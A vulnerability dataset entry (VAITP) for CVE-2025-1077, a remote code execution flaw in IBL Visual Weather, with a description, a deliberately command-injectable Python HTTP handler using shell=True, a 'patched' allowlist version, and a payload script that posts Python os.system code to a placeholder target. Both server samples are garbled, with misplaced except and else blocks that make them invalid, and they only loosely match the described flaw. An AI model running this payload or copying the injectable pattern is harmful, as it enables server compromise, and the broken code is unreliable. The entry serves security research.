VAITP Dataset

← Back to the dataset

CVE-2025-1077

IBL Visual Weather vulnerable to remote code execution via crafted requests.

  • CVSS 9.5
  • CWE-20
  • Configuration Issues
  • Remote

A security vulnerability has been identified in the IBL Software Engineering Visual Weather and derived products (NAMIS, Aero Weather, Satellite Weather). The vulnerability is present in the Product Delivery Service (PDS) component in specific server configurations where the PDS pipeline utilizes the IPDS pipeline with Message Editor Output Filters enabled. A remote unauthenticated attacker can exploit this vulnerability to send unauthenticated requests to execute the IPDS pipeline with specially crafted Form Properties, enabling remote execution of arbitrary Python code. This vulnerability could lead to a full system compromise of the affected server, particularly if Visual Weather services are run under a privileged user account—contrary to the documented installation best practices. Upgrade to the patched versions 7.3.10 (or higher), 8.6.0 (or higher).

CVSS base score
9.5
Published
2025-02-07
OWASP
A03 Injection
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Configuration Issues
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Python

Solution

Upgrade to version 7.3.10 (or higher), or 8.6.0 (or higher).

Vulnerable code sample

import http.server
import socketserver
import cgi
import subprocess
import os

PORT = 8000

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        """Vulnerable function that demonstrates the security issue."""
        if self.path == '/process_request':
            form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD':'POST',
            'CONTENT_TYPE':self.headers['Content-Type'],
            })

            command_to_execute = form.getvalue("command")

            if command_to_execute:
                try:
                    result = subprocess.check_output(command_to_execute, shell=True, stderr=subprocess.STDOUT)
                    output = result.decode('utf-8')
                    except subprocess.CalledProcessError as e:
                        output = "Error: " + e.output.decode('utf-8')

                        self.send_response(200)
                        self.send_header('Content-type', 'text/html')
                        self.end_headers()
                        self.wfile.write(bytes(f"Command executed:<br><pre>{command_to_execute}</pre><br>Output:<br><pre>{output}</pre>", "utf8"))

                    else:
                        self.send_response(400)
                        self.send_header('Content-type', 'text/html')
                        self.end_headers()
                        self.wfile.write(bytes("No command provided.", "utf8"))
                    else:
                        super().do_POST()


                        Handler = MyHandler

                        with socketserver.TCPServer(("", PORT), Handler) as httpd:
                            print("serving at port", PORT)
                            httpd.serve_forever()

Patched code sample

import http.server
import socketserver
import urllib.parse
import subprocess
import os

PORT = 8000

ALLOWED_COMMANDS = {
"date": ["date"],
"uptime": ["uptime"],
"whoami": ["whoami"],
"hostname": ["hostname"]
}

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        """Secure function that fixes the vulnerability."""
    # SECURE: This version prevents command injection
        if self.path == '/process_request':
            content_length = int(self.headers.get('Content-Length', 0))
            post_data = self.rfile.read(content_length).decode('utf-8')
            parsed_data = urllib.parse.parse_qs(post_data)
            command_key = parsed_data.get("command", [None])[0]

            if command_key in ALLOWED_COMMANDS:
                try:
                    result = subprocess.check_output(ALLOWED_COMMANDS[command_key], stderr=subprocess.STDOUT)
                    output = result.decode('utf-8')
                    except subprocess.CalledProcessError as e:
                        output = "Error: " + e.output.decode('utf-8')
                    else:
                        output = "Invalid command"

                        self.send_response(200)
                        self.send_header('Content-type', 'text/html')
                        self.end_headers()
                        self.wfile.write(bytes(f"Command:<br><pre>{command_key}</pre><br>Output:<br><pre>{output}</pre>", "utf8"))
                    else:
                        super().do_POST()

                        Handler = MyHandler

                        with socketserver.TCPServer(("", PORT), Handler) as httpd:
                            print("serving at port", PORT)
                            httpd.serve_forever()

Payload

import requests
import json

target_url = "http://<target_ip>:<port>/PDS/IPDS_pipeline"  # Replace with actual target URL

payload = {
    "FormProperties": json.dumps({
        "script_code": "import os; os.system('whoami > /tmp/output.txt')"  # Example: Execute 'whoami' and save output
    }),
    "other_relevant_fields": "some_value" # Add other required form fields
}

try:
    response = requests.post(target_url, data=payload)
    response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)

    print(f"Response status code: {response.status_code}")
    print(f"Response content: {response.text}")


except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

# Example of reading output (if the script created a file)
# try:
#     with open('/tmp/output.txt', 'r') as f:
#         print("Output from executed command:")
#         print(f.read())

Cite this entry

@misc{vaitp:cve20251077,
  title        = {{IBL Visual Weather vulnerable to remote code execution via crafted requests.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-1077},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-1077/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::